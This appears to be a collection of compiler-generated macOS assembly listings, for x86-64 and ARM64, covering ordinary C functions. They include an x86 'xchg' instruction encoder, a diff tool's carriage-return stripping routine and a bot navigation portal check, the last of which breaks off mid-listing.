__TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "no-clear-notification" l_.str.1: ; @.str.1 .asciz "no-clear" .comm _RRDCALC_FLAG_NO_CLEAR_NOTIFICATION,4,2 ; @RRDCALC_FLAG_NO_CLEAR_NOTIFICATION l_.str.2: ; @.str.2 .asciz "Ignoring unknown alarm option '%s'" .no_dead_strip _health_parse_options .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 4, 0x90 ## -- Begin function opxchg _opxchg: ## @opxchg .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r14 pushq %rbx .cfi_offset %rbx, -32 .cfi_offset %r14, -24 movq %rdx, %r14 movq %rsi, %rbx movq %rdx, %rdi callq _is_valid_registers movq (%r14), %rax movl (%rax), %ecx movq _OT_MEMORY@GOTPCREL(%rip), %rsi movl (%rsi), %edi testl %ecx, %edi jne LBB0_2 ## %bb.1: movl 32(%rax), %edx testl %edi, %edx je LBB0_10 LBB0_2: movl $135, (%rbx) movl (%rsi), %ecx testl %ecx, (%rax) je LBB0_6 ## %bb.3: movl $56, %ecx movl $20, %esi movl $16, %edx movl $8, %edi jmp LBB0_4 LBB0_6: testl %ecx, 32(%rax) je LBB0_8 ## %bb.7: movl $24, %ecx movl $52, %esi movl $48, %edx movl $40, %edi LBB0_4: movl (%rax,%rsi), %esi imull (%rax,%rdx), %esi movq (%rax,%rdi), %rdx movl (%rdx), %edx movl (%rax,%rcx), %ecx testl %esi, %esi je LBB0_5 ## %bb.19: movq _ST8_MIN@GOTPCREL(%rip), %rax cmpl (%rax), %esi setl %al movq _ST8_MAX@GOTPCREL(%rip), %rdi cmpl (%rdi), %esi setg %dil orb %al, %dil movzbl %dil, %edi movl %edi, %eax shll $6, %eax addl $64, %eax shll $3, %ecx orl %edx, %ecx orl %eax, %ecx movl %ecx, -4(%rbx) movl %esi, (%rbx) movl $1, %eax cmpb $1, %dil jne LBB0_21 ## %bb.20: movl %esi, %eax sarl $8, %eax movl %eax, 4(%rbx) movl %esi, %eax sarl $16, %eax movl %eax, 8(%rbx) sarl $24, %esi movl %esi, 12(%rbx) movl $4, %eax jmp LBB0_21 LBB0_5: xorl %esi, %esi movl $-1, %eax jmp LBB0_18 LBB0_10: movl 24(%rax), %esi movl 56(%rax), %edi movq _X86R_EAX@GOTPCREL(%rip), %r8 movl (%r8), %r9d cmpl %r9d, %esi setne %r10b movq _OT_GPREG@GOTPCREL(%rip), %r8 movl (%r8), %r8d testl %edx, %r8d sete %r11b orb %r10b, %r11b je LBB0_11 ## %bb.12: cmpl %r9d, %edi jne LBB0_16 ## %bb.13: testl %ecx, %r8d je LBB0_14 ## %bb.15: addl $144, %esi movl %esi, (%rbx) movl $1, %eax jmp LBB0_21 LBB0_8: xorl %esi, %esi movl $-1, %eax jmp LBB0_9 LBB0_11: movl $144, %eax subl %edi, %eax movl %eax, (%rbx) movl $1, %eax jmp LBB0_21 LBB0_16: testl %ecx, %r8d sete %cl testl %edx, %r8d sete %dl orb %cl, %dl je LBB0_17 LBB0_14: xorl %eax, %eax xorl %esi, %esi LBB0_9: xorl %ecx, %ecx xorl %edx, %edx LBB0_18: orl %edx, %esi shll $3, %ecx orl %esi, %ecx movslq %eax, %rdx incl %eax movl %ecx, (%rbx,%rdx,4) LBB0_21: popq %rbx popq %r14 popq %rbp retq LBB0_17: movl $135, (%rbx) movl 24(%rax), %edx movl 56(%rax), %ecx movl $192, %esi movl $1, %eax jmp LBB0_18 .cfi_endproc ## -- End function .comm _OT_MEMORY,4,2 ## @OT_MEMORY .comm _ST8_MIN,4,2 ## @ST8_MIN .comm _ST8_MAX,4,2 ## @ST8_MAX .comm _X86R_EAX,4,2 ## @X86R_EAX .comm _OT_GPREG,4,2 ## @OT_GPREG .no_dead_strip _opxchg .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .section __TEXT,__literal8,8byte_literals .p2align 3, 0x0 ; -- Begin function opxchg lCPI0_0: .long 4294967288 ; 0xfffffff8 .long 4294967280 ; 0xfffffff0 .section __TEXT,__text,regular,pure_instructions .p2align 2 _opxchg: ; @opxchg .cfi_startproc ; %bb.0: stp x20, x19, [sp, #-32]! ; 16-byte Folded Spill stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 mov x20, x2 mov x19, x1 mov x0, x2 bl _is_valid_registers ldr x8, [x20] ldr w9, [x8] Lloh0: adrp x10, _OT_MEMORY@GOTPAGE Lloh1: ldr x10, [x10, _OT_MEMORY@GOTPAGEOFF] ldr w12, [x10] tst w12, w9 b.ne LBB0_2 ; %bb.1: ldr w11, [x8, #32] tst w11, w12 b.eq LBB0_11 LBB0_2: mov w9, #135 ; =0x87 str w9, [x19] ldr w11, [x8] ldr w9, [x10] tst w9, w11 b.eq LBB0_4 ; %bb.3: mov w9, #56 ; =0x38 mov w10, #20 ; =0x14 mov w11, #16 ; =0x10 mov w12, #8 ; =0x8 b LBB0_6 LBB0_4: ldr w10, [x8, #32] tst w10, w9 b.eq LBB0_15 ; %bb.5: mov w9, #24 ; =0x18 mov w10, #52 ; =0x34 mov w11, #48 ; =0x30 mov w12, #40 ; =0x28 LBB0_6: ldr w11, [x8, x11] ldr w10, [x8, x10] mul w11, w10, w11 ldr x10, [x8, x12] ldr w10, [x10] ldr w9, [x8, x9] cbz w11, LBB0_9 ; %bb.7: Lloh2: adrp x8, _ST8_MIN@GOTPAGE Lloh3: ldr x8, [x8, _ST8_MIN@GOTPAGEOFF] Lloh4: ldr w8, [x8] cmp w11, w8 Lloh5: adrp x8, _ST8_MAX@GOTPAGE Lloh6: ldr x8, [x8, _ST8_MAX@GOTPAGEOFF] Lloh7: ldr w8, [x8] ccmp w11, w8, #0, ge cset w8, gt mov w12, #64 ; =0x40 mov w13, #128 ; =0x80 cmp w8, #0 csel w12, w13, w12, ne orr w9, w12, w9, lsl #3 orr w9, w9, w10 stp w9, w11, [x19, #-4] cmp w8, #1 b.ne LBB0_10 ; %bb.8: dup.2s v0, w11 Lloh8: adrp x8, lCPI0_0@PAGE Lloh9: ldr d1, [x8, lCPI0_0@PAGEOFF] sshl.2s v0, v0, v1 stur d0, [x19, #4] asr w8, w11, #24 str w8, [x19, #12] mov w0, #4 ; =0x4 b LBB0_18 LBB0_9: mov w8, #0 ; =0x0 b LBB0_16 LBB0_10: mov w0, #1 ; =0x1 b LBB0_18 LBB0_11: ldr w10, [x8, #24] Lloh10: adrp x12, _X86R_EAX@GOTPAGE Lloh11: ldr x12, [x12, _X86R_EAX@GOTPAGEOFF] Lloh12: adrp x13, _OT_GPREG@GOTPAGE Lloh13: ldr x13, [x13, _OT_GPREG@GOTPAGEOFF] Lloh14: ldr w12, [x12] Lloh15: ldr w14, [x13] and w11, w14, w11 ldr w13, [x8, #56] cmp w10, w12 ccmp w11, #0, #4, eq b.ne LBB0_19 ; %bb.12: and w9, w14, w9 cmp w13, w12 b.ne LBB0_21 ; %bb.13: cbz w9, LBB0_24 ; %bb.14: add w8, w10, #144 b LBB0_20 LBB0_15: mov w8, #0 ; =0x0 mov w9, #0 ; =0x0 mov w10, #0 ; =0x0 LBB0_16: mov w11, #-1 ; =0xffffffff LBB0_17: orr w8, w8, w9, lsl #3 orr w8, w8, w10 add w0, w11, #1 str w8, [x19, w11, sxtw #2] LBB0_18: ldp x29, x30, [sp, #16] ; 16-byte Folded Reload ldp x20, x19, [sp], #32 ; 16-byte Folded Reload ret LBB0_19: mov w8, #144 ; =0x90 sub w8, w8, w13 LBB0_20: str w8, [x19] mov w0, #1 ; =0x1 b LBB0_18 LBB0_21: cmp w9, #0 ccmp w11, #0, #4, ne b.ne LBB0_23 ; %bb.22: mov w11, #0 ; =0x0 mov w8, #0 ; =0x0 mov w9, #0 ; =0x0 mov w10, #0 ; =0x0 b LBB0_17 LBB0_23: mov w9, #135 ; =0x87 str w9, [x19] ldr w9, [x8, #56] ldr w10, [x8, #24] mov w8, #192 ; =0xc0 mov w11, #1 ; =0x1 b LBB0_17 LBB0_24: mov w11, #0 ; =0x0 mov w8, #0 ; =0x0 mov w10, #0 ; =0x0 b LBB0_17 .loh AdrpLdrGot Lloh0, Lloh1 .loh AdrpLdrGotLdr Lloh5, Lloh6, Lloh7 .loh AdrpLdrGotLdr Lloh2, Lloh3, Lloh4 .loh AdrpLdr Lloh8, Lloh9 .loh AdrpLdrGotLdr Lloh12, Lloh13, Lloh15 .loh AdrpLdrGotLdr Lloh10, Lloh11, Lloh14 .cfi_endproc ; -- End function .comm _OT_MEMORY,4,2 ; @OT_MEMORY .comm _ST8_MIN,4,2 ; @ST8_MIN .comm _ST8_MAX,4,2 ; @ST8_MAX .comm _X86R_EAX,4,2 ; @X86R_EAX .comm _OT_GPREG,4,2 ; @OT_GPREG .no_dead_strip _opxchg .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 4, 0x90 ## -- Begin function prepare_text _prepare_text: ## @prepare_text .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %rbx pushq %rax .cfi_offset %rbx, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq %rdi, %rbx movq (%rdi), %r15 callq _FILE_BUFFER movq %rax, %r14 testq %r15, %r15 jne LBB0_3 ## %bb.1: cmpb $10, -1(%r14) jne LBB0_3 ## %bb.2: xorl %eax, %eax xorl %r15d, %r15d jmp LBB0_4 LBB0_3: movb $10, (%r14,%r15) incq %r15 movl $1, %eax LBB0_4: movl %eax, 8(%rbx) movq %r14, %rdi subq %r15, %rdi xorl %esi, %esi movl $4, %edx callq _memset movq _strip_trailing_cr@GOTPCREL(%rip), %rax cmpq $0, (%rax) je LBB0_12 ## %bb.5: movq %r14, %rdi movl $13, %esi movq %r15, %rdx callq _memchr testq %rax, %rax je LBB0_12 ## %bb.6: addq %r15, %r14 movq %rax, %rcx subq %r15, %rcx movq %rax, %rdx jmp LBB0_7 .p2align 4, 0x90 LBB0_9: ## in Loop: Header=BB0_7 Depth=1 cmpb $10, (%rdx) sete %sil LBB0_10: ## in Loop: Header=BB0_7 Depth=1 xorb $1, %sil movzbl %sil, %esi addq %rsi, %rax incq %rcx cmpq %r14, %rdx jae LBB0_11 LBB0_7: ## =>This Inner Loop Header: Depth=1 movzbl (%rdx), %esi incq %rdx movb %sil, (%rax) cmpb $13, %sil je LBB0_9 ## %bb.8: ## in Loop: Header=BB0_7 Depth=1 xorl %esi, %esi jmp LBB0_10 LBB0_11: subq %rcx, %rax movq %rax, %r15 LBB0_12: movq %r15, (%rbx) addq $8, %rsp popq %rbx popq %r14 popq %r15 popq %rbp retq .cfi_endproc ## -- End function .comm _strip_trailing_cr,8,3 ## @strip_trailing_cr .no_dead_strip _prepare_text .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 2 ; -- Begin function prepare_text _prepare_text: ; @prepare_text .cfi_startproc ; %bb.0: stp x22, x21, [sp, #-48]! ; 16-byte Folded Spill stp x20, x19, [sp, #16] ; 16-byte Folded Spill stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 mov x19, x0 ldr x22, [x0] bl _FILE_BUFFER mov x20, x0 cbnz x22, LBB0_3 ; %bb.1: ldurb w8, [x20, #-1] cmp w8, #10 b.ne LBB0_3 ; %bb.2: mov w8, #0 ; =0x0 mov x21, #0 ; =0x0 b LBB0_4 LBB0_3: add x21, x22, #1 mov w8, #10 ; =0xa strb w8, [x20, x22] mov w8, #1 ; =0x1 LBB0_4: str w8, [x19, #8] sub x0, x20, x21 mov w1, #0 ; =0x0 mov w2, #4 ; =0x4 bl _memset Lloh0: adrp x8, _strip_trailing_cr@GOTPAGE Lloh1: ldr x8, [x8, _strip_trailing_cr@GOTPAGEOFF] Lloh2: ldr x8, [x8] cbz x8, LBB0_12 ; %bb.5: mov x0, x20 mov w1, #13 ; =0xd mov x2, x21 bl _memchr cbz x0, LBB0_12 ; %bb.6: add x9, x20, x21 sub x8, x0, x21 mov x10, x0 b LBB0_9 LBB0_7: ; in Loop: Header=BB0_9 Depth=1 ldrb w11, [x10] cmp w11, #10 cset w11, eq LBB0_8: ; in Loop: Header=BB0_9 Depth=1 eor w11, w11, #0x1 add x0, x0, x11 add x8, x8, #1 cmp x10, x9 b.hs LBB0_11 LBB0_9: ; =>This Inner Loop Header: Depth=1 ldrb w11, [x10], #1 strb w11, [x0] cmp w11, #13 b.eq LBB0_7 ; %bb.10: ; in Loop: Header=BB0_9 Depth=1 mov w11, #0 ; =0x0 b LBB0_8 LBB0_11: sub x21, x0, x8 LBB0_12: str x21, [x19] ldp x29, x30, [sp, #32] ; 16-byte Folded Reload ldp x20, x19, [sp, #16] ; 16-byte Folded Reload ldp x22, x21, [sp], #48 ; 16-byte Folded Reload ret .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .cfi_endproc ; -- End function .comm _strip_trailing_cr,8,3 ; @strip_trailing_cr .no_dead_strip _prepare_text .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .globl _AAS_CheckAreaForPossiblePortals ## -- Begin function AAS_CheckAreaForPossiblePortals .p2align 4, 0x90 _AAS_CheckAreaForPossiblePortals: ## @AAS_CheckAreaForPossiblePortals .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx subq $152, %rsp .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movl %edi, %ebx movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq %rax, -48(%rbp) movq _MAX_PORTALAREAS@GOTPCREL(%rip), %rax movl (%rax), %r13d leaq (,%r13,4), %r15 movq %r15, %rax callq ____chkstk_darwin addq $15, %rax andq $-16, %rax subq %rax, %rsp movq %rsp, -96(%rbp) ## 8-byte Spill movq %r15, %rax callq ____chkstk_darwin addq $15, %rax andq $-16, %rax subq %rax, %rsp movq %rsp, -136(%rbp) ## 8-byte Spill movq %r15, %rax callq ____chkstk_darwin addq $15, %rax andq $-16, %rax subq %rax, %rsp movq %rsp, -128(%rbp) ## 8-byte Spill movq %r15, %rax callq ____chkstk_darwin addq $15, %rax andq $-16, %rax subq %rax, %rsp movq %rsp, -112(%rbp) ## 8-byte Spill movq %r15, %rax callq ____chkstk_darwin addq $15, %rax andq $-16, %rax subq %rax, %rsp movq %rsp, %r14 movq %r15, %rax callq ____chkstk_darwin addq $15, %rax andq $-16, %rax subq %rax, %rsp movq %rsp, %r12 movq %r15, %rax movl %ebx, %r15d callq ____chkstk_darwin addq $15, %rax andq $-16, %rax subq %rax, %rsp movq %rsp, %rdi movq _aasworld@GOTPCREL(%rip), %rax movq (%rax), %rcx movslq %ebx, %rdx movq _AREACONTENTS_CLUSTERPORTAL@GOTPCREL(%rip), %rax movl (%rax), %esi xorl %ebx, %ebx testl %esi, (%rcx,%rdx,8) je LBB0_3 LBB0_1: movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax cmpq -48(%rbp), %rax jne LBB0_81 ## %bb.2: movl %ebx, %eax leaq -40(%rbp), %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq LBB0_3: movq %r12, -80(%rbp) ## 8-byte Spill movq %rdi, -72(%rbp) ## 8-byte Spill movq _AREA_GROUNDED@GOTPCREL(%rip), %rsi movl (%rsi), %esi testl %esi, 4(%rcx,%rdx,8) je LBB0_1 ## %bb.4: shll $2, %r13d movq -136(%rbp), %rdi ## 8-byte Reload xorl %esi, %esi movl %r13d, %edx callq _Com_Memset movq -128(%rbp), %rdi ## 8-byte Reload xorl %esi, %esi movl %r13d, %edx callq _Com_Memset movq -96(%rbp), %rbx ## 8-byte Reload movq %rbx, %rdi xorl %esi, %esi movl %r15d, %edx callq _AAS_GetAdjacentAreasWithLessPresenceTypes_r testl %eax, %eax movq -112(%rbp), %r15 ## 8-byte Reload movl %eax, -56(%rbp) ## 4-byte Spill js LBB0_44 ## %bb.5: movl %eax, %ecx movq _aasworld@GOTPCREL(%rip), %rax movq 32(%rax), %rdx movq 24(%rax), %r13 movq (%rax), %rsi movq %rsi, -192(%rbp) ## 8-byte Spill movq 16(%rax), %r9 movq _FACE_SOLID@GOTPCREL(%rip), %rax movl (%rax), %eax movl %eax, -144(%rbp) ## 4-byte Spill movq _AREACONTENTS_CLUSTERPORTAL@GOTPCREL(%rip), %rax movl (%rax), %eax movl %eax, -148(%rbp) ## 4-byte Spill movl %ecx, %ecx xorl %esi, %esi movl $-1, %r15d movl $-1, -52(%rbp) ## 4-byte Folded Spill movq $0, -104(%rbp) ## 8-byte Folded Spill movq $0, -88(%rbp) ## 8-byte Folded Spill movl $0, -60(%rbp) ## 4-byte Folded Spill movl $0, -64(%rbp) ## 4-byte Folded Spill movq -72(%rbp), %r12 ## 8-byte Reload movq %r13, -176(%rbp) ## 8-byte Spill movq %r9, -120(%rbp) ## 8-byte Spill jmp LBB0_7 .p2align 4, 0x90 LBB0_6: ## in Loop: Header=BB0_7 Depth=1 movq -184(%rbp), %rsi ## 8-byte Reload decq %rsi cmpq %rcx, %rsi jg LBB0_66 LBB0_7: ## =>This Loop Header: Depth=1 ## Child Loop BB0_14 Depth 2 ## Child Loop BB0_18 Depth 3 ## Child Loop BB0_31 Depth 3 ## Child Loop BB0_35 Depth 3 movslq (%rbx,%rsi,4), %r11 cmpl $0, (%rdx,%r11,8) movq %rsi, -184(%rbp) ## 8-byte Spill jle LBB0_6 ## %bb.8: ## in Loop: Header=BB0_7 Depth=1 movl %esi, %r8d movq -128(%rbp), %rax ## 8-byte Reload leaq (%rax,%rsi,4), %rax movq %rax, -160(%rbp) ## 8-byte Spill movq -136(%rbp), %rax ## 8-byte Reload leaq (%rax,%rsi,4), %rax movq %rax, -168(%rbp) ## 8-byte Spill xorl %esi, %esi jmp LBB0_14 LBB0_40: ## in Loop: Header=BB0_14 Depth=2 movq -104(%rbp), %rax ## 8-byte Reload movl %eax, %r10d leal 1(%rax), %r15d movq -160(%rbp), %rax ## 8-byte Reload ## kill: def $r15d killed $r15d def $r15 movq %r15, -104(%rbp) ## 8-byte Spill LBB0_10: ## in Loop: Header=BB0_14 Depth=2 movslq %r10d, %r10 movl %edi, (%r12,%r10,4) movq -72(%rbp), %r12 ## 8-byte Reload LBB0_11: ## in Loop: Header=BB0_14 Depth=2 incl (%rax) movl %r13d, %r15d LBB0_12: ## in Loop: Header=BB0_14 Depth=2 movq -176(%rbp), %r13 ## 8-byte Reload LBB0_13: ## in Loop: Header=BB0_14 Depth=2 incl %esi cmpl (%rdx,%r11,8), %esi jge LBB0_6 LBB0_14: ## Parent Loop BB0_7 Depth=1 ## => This Loop Header: Depth=2 ## Child Loop BB0_18 Depth 3 ## Child Loop BB0_31 Depth 3 ## Child Loop BB0_35 Depth 3 movslq 4(%rdx,%r11,8), %rax movslq %esi, %rdi subq %rdi, %rax movl (%r13,%rax,4), %eax movl %eax, %r10d negl %r10d cmovsl %eax, %r10d leaq (%r10,%r10,2), %rax movl -144(%rbp), %edi ## 4-byte Reload testl %edi, (%r9,%rax,8) jne LBB0_13 ## %bb.15: ## in Loop: Header=BB0_14 Depth=2 leaq (%r9,%rax,8), %r13 movl -56(%rbp), %edi ## 4-byte Reload xorl %eax, %eax testl %edi, %edi jne LBB0_18 ## %bb.16: ## in Loop: Header=BB0_14 Depth=2 cmpl %edi, %eax jne LBB0_12 jmp LBB0_22 .p2align 4, 0x90 LBB0_17: ## in Loop: Header=BB0_18 Depth=3 incq %rax cmpq %rax, %rcx je LBB0_22 LBB0_18: ## Parent Loop BB0_7 Depth=1 ## Parent Loop BB0_14 Depth=2 ## => This Inner Loop Header: Depth=3 cmpq %rax, %r8 je LBB0_17 ## %bb.19: ## in Loop: Header=BB0_18 Depth=3 movl 4(%r13), %edi cmpl (%rbx,%rax,4), %edi jne LBB0_17 ## %bb.20: ## in Loop: Header=BB0_18 Depth=3 cmpl %edi, 8(%r13) jne LBB0_17 ## %bb.21: ## in Loop: Header=BB0_14 Depth=2 movl -56(%rbp), %edi ## 4-byte Reload cmpl %edi, %eax jne LBB0_12 .p2align 4, 0x90 LBB0_22: ## in Loop: Header=BB0_14 Depth=2 movl %r15d, %r9d movl 4(%r13), %edi cmpl %r11d, %edi jne LBB0_24 ## %bb.23: ## in Loop: Header=BB0_14 Depth=2 movl 8(%r13), %edi LBB0_24: ## in Loop: Header=BB0_14 Depth=2 movslq %edi, %r12 xorl %ebx, %ebx movq -192(%rbp), %rax ## 8-byte Reload movl -148(%rbp), %r15d ## 4-byte Reload testl %r15d, (%rax,%r12,8) jne LBB0_1 ## %bb.25: ## in Loop: Header=BB0_14 Depth=2 movl 12(%r13), %r13d andl $-2, %r13d movl -52(%rbp), %eax ## 4-byte Reload testl %eax, %eax js LBB0_33 ## %bb.26: ## in Loop: Header=BB0_14 Depth=2 cmpl %eax, %r13d je LBB0_33 ## %bb.27: ## in Loop: Header=BB0_14 Depth=2 testl %r9d, %r9d js LBB0_29 ## %bb.28: ## in Loop: Header=BB0_14 Depth=2 cmpl %r9d, %r13d jne LBB0_1 LBB0_29: ## in Loop: Header=BB0_14 Depth=2 movl -60(%rbp), %r12d ## 4-byte Reload movslq %r12d, %rax incl %r12d movl %r12d, -60(%rbp) ## 4-byte Spill movl %r10d, (%r14,%rax,4) movq -104(%rbp), %rax ## 8-byte Reload testl %eax, %eax jle LBB0_38 ## %bb.30: ## in Loop: Header=BB0_14 Depth=2 movl %eax, %r10d xorl %eax, %eax movq -72(%rbp), %r12 ## 8-byte Reload movq -120(%rbp), %r9 ## 8-byte Reload movq -96(%rbp), %rbx ## 8-byte Reload .p2align 4, 0x90 LBB0_31: ## Parent Loop BB0_7 Depth=1 ## Parent Loop BB0_14 Depth=2 ## => This Inner Loop Header: Depth=3 cmpl %edi, (%r12,%rax,4) je LBB0_39 ## %bb.32: ## in Loop: Header=BB0_31 Depth=3 incq %rax cmpq %rax, %r10 jne LBB0_31 jmp LBB0_40 LBB0_33: ## in Loop: Header=BB0_14 Depth=2 movl -64(%rbp), %r12d ## 4-byte Reload movslq %r12d, %rax incl %r12d movl %r12d, -64(%rbp) ## 4-byte Spill movq -112(%rbp), %r15 ## 8-byte Reload movl %r10d, (%r15,%rax,4) movq -88(%rbp), %r10 ## 8-byte Reload testl %r10d, %r10d jle LBB0_37 ## %bb.34: ## in Loop: Header=BB0_14 Depth=2 movl %r10d, %r10d xorl %eax, %eax movq -72(%rbp), %r12 ## 8-byte Reload movq -96(%rbp), %rbx ## 8-byte Reload .p2align 4, 0x90 LBB0_35: ## Parent Loop BB0_7 Depth=1 ## Parent Loop BB0_14 Depth=2 ## => This Inner Loop Header: Depth=3 movq -80(%rbp), %r15 ## 8-byte Reload cmpl %edi, (%r15,%rax,4) je LBB0_42 ## %bb.36: ## in Loop: Header=BB0_35 Depth=3 incq %rax cmpq %rax, %r10 jne LBB0_35 jmp LBB0_9 LBB0_37: ## in Loop: Header=BB0_14 Depth=2 xorl %eax, %eax movq -72(%rbp), %r12 ## 8-byte Reload movq -96(%rbp), %rbx ## 8-byte Reload cmpl %r10d, %eax jne LBB0_43 LBB0_9: ## in Loop: Header=BB0_14 Depth=2 movq -88(%rbp), %rax ## 8-byte Reload movl %eax, %r10d leal 1(%rax), %r15d movq -80(%rbp), %r12 ## 8-byte Reload movq -168(%rbp), %rax ## 8-byte Reload ## kill: def $r15d killed $r15d def $r15 movq %r15, -88(%rbp) ## 8-byte Spill movl %r13d, -52(%rbp) ## 4-byte Spill movl %r9d, %r13d movq -120(%rbp), %r9 ## 8-byte Reload jmp LBB0_10 LBB0_38: ## in Loop: Header=BB0_14 Depth=2 xorl %eax, %eax movq -72(%rbp), %r12 ## 8-byte Reload movq -120(%rbp), %r9 ## 8-byte Reload movq -96(%rbp), %rbx ## 8-byte Reload LBB0_39: ## in Loop: Header=BB0_14 Depth=2 cmpl -104(%rbp), %eax ## 4-byte Folded Reload je LBB0_40 ## %bb.41: ## in Loop: Header=BB0_14 Depth=2 movq -160(%rbp), %rax ## 8-byte Reload jmp LBB0_11 LBB0_42: ## in Loop: Header=BB0_14 Depth=2 movq -88(%rbp), %r10 ## 8-byte Reload cmpl %r10d, %eax je LBB0_9 LBB0_43: ## in Loop: Header=BB0_14 Depth=2 movq -168(%rbp), %rax ## 8-byte Reload movl %r13d, -52(%rbp) ## 4-byte Spill movl %r9d, %r13d movq -120(%rbp), %r9 ## 8-byte Reload jmp LBB0_11 LBB0_44: movl $0, -52(%rbp) ## 4-byte Folded Spill movq $0, -104(%rbp) ## 8-byte Folded Spill xorl %esi, %esi movl $0, -60(%rbp) ## 4-byte Folded Spill movl $0, -64(%rbp) ## 4-byte Folded Spill movq -72(%rbp), %r12 ## 8-byte Reload movq -80(%rbp), %rdi ## 8-byte Reload LBB0_45: ## kill: def $esi killed $esi killed $rsi callq _AAS_ConnectedAreas testl %eax, %eax je LBB0_65 ## %bb.46: movq %r12, %rdi movq -104(%rbp), %rsi ## 8-byte Reload ## kill: def $esi killed $esi killed $rsi callq _AAS_ConnectedAreas movl $0, %ebx testl %eax, %eax je LBB0_1 ## %bb.47: xorl %ebx, %ebx movl $0, %eax movl -64(%rbp), %ecx ## 4-byte Reload testl %ecx, %ecx jle LBB0_74 ## %bb.48: movq _aasworld@GOTPCREL(%rip), %rax movq 8(%rax), %rdx movq 16(%rax), %rsi movl %ecx, %eax movq %rax, -144(%rbp) ## 8-byte Spill movl -60(%rbp), %r8d ## 4-byte Reload xorl %eax, %eax jmp LBB0_51 .p2align 4, 0x90 LBB0_49: ## in Loop: Header=BB0_51 Depth=1 cmpl %eax, %r10d jne LBB0_73 LBB0_50: ## in Loop: Header=BB0_51 Depth=1 movq -80(%rbp), %rax ## 8-byte Reload incq %rax cmpq -144(%rbp), %rax ## 8-byte Folded Reload movq -112(%rbp), %r15 ## 8-byte Reload je LBB0_72 LBB0_51: ## =>This Loop Header: Depth=1 ## Child Loop BB0_56 Depth 2 ## Child Loop BB0_61 Depth 3 ## Child Loop BB0_63 Depth 4 movq %rax, -80(%rbp) ## 8-byte Spill movslq (%r15,%rax,4), %rcx leaq (%rcx,%rcx,2), %rcx movslq 16(%rsi,%rcx,8), %rax movl $0, %r10d testq %rax, %rax jle LBB0_49 ## %bb.52: ## in Loop: Header=BB0_51 Depth=1 leaq (%rsi,%rcx,8), %rcx movslq 20(%rcx), %rcx leaq (%rdx,%rcx,4), %r11 xorl %r10d, %r10d jmp LBB0_56 .p2align 4, 0x90 LBB0_53: ## in Loop: Header=BB0_56 Depth=2 xorl %r12d, %r12d LBB0_54: ## in Loop: Header=BB0_56 Depth=2 cmpl -60(%rbp), %r12d ## 4-byte Folded Reload jne LBB0_49 LBB0_55: ## in Loop: Header=BB0_56 Depth=2 incq %r10 cmpq %rax, %r10 je LBB0_50 LBB0_56: ## Parent Loop BB0_51 Depth=1 ## => This Loop Header: Depth=2 ## Child Loop BB0_61 Depth 3 ## Child Loop BB0_63 Depth 4 movl (%r11,%r10,4), %ecx movl %ecx, %r15d negl %r15d cmovsl %ecx, %r15d cmpl $0, -60(%rbp) ## 4-byte Folded Reload jle LBB0_53 ## %bb.57: ## in Loop: Header=BB0_56 Depth=2 xorl %r12d, %r12d jmp LBB0_61 .p2align 4, 0x90 LBB0_58: ## in Loop: Header=BB0_61 Depth=3 xorl %edi, %edi LBB0_59: ## in Loop: Header=BB0_61 Depth=3 cmpl %r13d, %edi jne LBB0_54 LBB0_60: ## in Loop: Header=BB0_61 Depth=3 incq %r12 cmpq %r8, %r12 je LBB0_55 LBB0_61: ## Parent Loop BB0_51 Depth=1 ## Parent Loop BB0_56 Depth=2 ## => This Loop Header: Depth=3 ## Child Loop BB0_63 Depth 4 movslq (%r14,%r12,4), %rcx leaq (%rcx,%rcx,2), %rcx movslq 16(%rsi,%rcx,8), %r13 testq %r13, %r13 jle LBB0_58 ## %bb.62: ## in Loop: Header=BB0_61 Depth=3 leaq (%rsi,%rcx,8), %rcx movslq 20(%rcx), %rcx leaq (%rdx,%rcx,4), %rcx xorl %edi, %edi .p2align 4, 0x90 LBB0_63: ## Parent Loop BB0_51 Depth=1 ## Parent Loop BB0_56 Depth=2 ## Parent Loop BB0_61 Depth=3 ## => This Inner Loop Header: Depth=4 movl (%rcx,%rdi,4), %r9d movl %r9d, %ebx negl %ebx cmovsl %r9d, %ebx cmpl %ebx, %r15d je LBB0_59 ## %bb.64: ## in Loop: Header=BB0_63 Depth=4 incq %rdi cmpq %rdi, %r13 jne LBB0_63 jmp LBB0_60 LBB0_66: cmpl $0, -56(%rbp) ## 4-byte Folded Reload movq -80(%rbp), %rdi ## 8-byte Reload je LBB0_78 ## %bb.67: xorl %edx, %edx movq -136(%rbp), %rax ## 8-byte Reload movq -128(%rbp), %rsi ## 8-byte Reload movq -112(%rbp), 